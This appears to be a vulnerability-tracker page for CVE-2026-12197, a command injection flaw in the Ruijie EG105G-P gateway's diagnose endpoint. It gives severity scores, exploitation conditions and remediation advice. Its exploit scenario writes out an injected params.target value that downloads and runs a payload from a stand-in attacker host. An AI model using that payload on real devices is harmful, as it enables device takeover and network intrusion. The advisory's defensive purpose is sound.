Skip to main content

Ruijie EG105G-P CVE-2026-12197

| EUVDEUVD-2026-36673 HIGH
Command Injection (CWE-77)
2026-06-14 VulDB GHSA-f7mp-cw7j-wx85
7.3
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed EG105G-P management UI
  2. Delivery
    Obtain admin credentials (default/reuse/phish)
  3. Exploit
    POST crafted JSON-RPC to /cgi-bin/luci/api/diagnose
  4. Execution
    Inject shell metacharacters in params.target
  5. Persist
    Execute arbitrary commands on device
  6. Impact
    Install backdoor or pivot into LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) network reachability to the device's HTTP management interface, specifically the /cgi-bin/luci/api/diagnose JSON-RPC endpoint, and (2) authenticated administrative access to invoke the nslookup diagnostic function (CVSS PR:H). No user interaction is needed (UI:N) and attack complexity is low (AC:L), but exploitation is limited to the Ruijie EG105G-P running firmware 2.340 (and possibly other 2.x builds sharing the same handler); deployments that expose the management UI only to a management VLAN or restricted source IPs are not remotely reachable, and devices with strong, non-default admin credentials raise the cost of meeting the PR:H precondition.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N) with VC:H/VI:H/VA:H produces a 7.3 base score, reflecting full device compromise but tempered by the PR:H requirement - exploitation needs high-privileged access to the management interface, which substantially narrows the threat to attackers who already hold administrative credentials (default, weak, reused, or phished) or who can reach the panel post-authentication via another flaw. Publicly released exploit code (E:P) lowers the barrier to weaponization, and the vendor's non-response makes silent persistence of the bug likely across deployed firmware. The CVE is not listed in CISA KEV and no EPSS value was provided, so real-world exploitation volume cannot be quantified from the available data; given the SMB target profile and exposed management UIs, opportunistic abuse by botnets targeting Ruijie devices is plausible but unconfirmed.

Exploit ScenarioDerived

An attacker who has obtained admin credentials for an internet-exposed EG105G-P (via password reuse, phishing, brute force, or chained access) sends a crafted JSON-RPC POST to /cgi-bin/luci/api/diagnose invoking nslookup with a params.target value such as '8.8.8.8; wget http://attacker/x -O /tmp/x; sh /tmp/x', causing the device to fetch and execute a payload. Because publicly available exploit code exists, this can be scripted at scale against Ruijie devices discovered via Shodan/ZoomEye, leading to router takeover, traffic interception, or pivoting into the LAN.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 2.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

Command injection in the Ruijie EG105G-P 2.340 gateway router allows authenticated remote attackers to execute arbitrary OS commands by manipulating the params.target argument of the nslookup function in the /cgi-bin/luci/api/diagnose JSON-RPC endpoint. Publicly available exploit code exists, the vendor did not respond to coordinated disclosure, and successful exploitation yields full confidentiality, integrity, and availability impact on the device.

RemediationAI

No vendor-released patch identified at time of analysis - Ruijie did not respond to VulDB's coordinated disclosure, so defenders should treat the issue as unfixed. As compensating controls, restrict the EG105G-P management interface to a dedicated management VLAN or trusted source IPs via ACLs so that /cgi-bin/luci/api/diagnose is unreachable from the WAN and general LAN (side effect: legitimate admins must use a jump host), rotate and harden administrator credentials and disable any default accounts to raise the cost of meeting the PR:H precondition, and consider blocking or web-application-filtering POST requests to /cgi-bin/luci/api/diagnose whose JSON body contains shell metacharacters in the params.target field (side effect: may break legitimate diagnostic use of the panel). Monitor VulDB entry https://vuldb.com/vuln/370840 and the vendor portal for a firmware release superseding 2.340, and consult the public PoC at https://github.com/ictrun/java/issues/6 to build detection signatures.

Affected VersionsENISA

EG105G-P 2.340

Affected Packages

euvd eg105g_p no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Ruijie EG105G-P is a small-business edge gateway whose web management interface is built on LuCI, a Lua-based configuration framework commonly used on OpenWrt-derived embedded firmware. The diagnostic JSON-RPC handler at /cgi-bin/luci/api/diagnose exposes a server-side nslookup function that takes a user-supplied params.target value and passes it into a shell command without adequate sanitization. This is a textbook CWE-77 (Improper Neutralization of Special Elements used in a Command) issue, where shell metacharacters such as ';', '|', '`', or '$()' embedded in the target field are interpreted by the underlying shell, letting the attacker append arbitrary commands to the intended nslookup invocation.

Know when Eg105G P gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 7.3 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
vuln.today AI 7.2 HIGH

Network-reachable management endpoint (AV:N), straightforward injection (AC:L), but requires admin login to call the diagnose API (PR:H); successful injection yields full OS-level control of the device (C/I/A:H).

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 15, 2026 - 00:22 NVD
8.6 (HIGH) 7.3 (HIGH)

DescriptionCVE.org

A security flaw has been discovered in Ruijie EG105G-P 2.340. The impacted element is the function nslookup of the file /cgi-bin/luci/api/diagnose of the component JSON-RPC Diagnose Endpoint. Performing a manipulation of the argument params.target results in command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Executive ViewAI

Why It Matters

The Ruijie EG105G-P 2.340 gateway router contains an unpatched command injection vulnerability (CVE-2026-12197) that allows authenticated users to completely compromise network infrastructure controlling traffic and security boundaries. Publicly available exploit code exists, the vendor declined disclosure and has not released a patch, leaving affected devices at permanent risk.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement strict network-level access controls restricting the administrative interface to authorized jump hosts or VPN-authenticated administrators only; enforce multi-factor authentication on all administrative accounts; increase monitoring and logging of device access; isolate affected gateways to restricted networks separate from critical infrastructure. Plan immediate device replacement-no patching pathway exists.

Threat Intelligence Overview

EPSS Score
2.4%
Top 18% exploitable
Exploit
POC
Public exploit code exists
Social Media
3
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.4%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy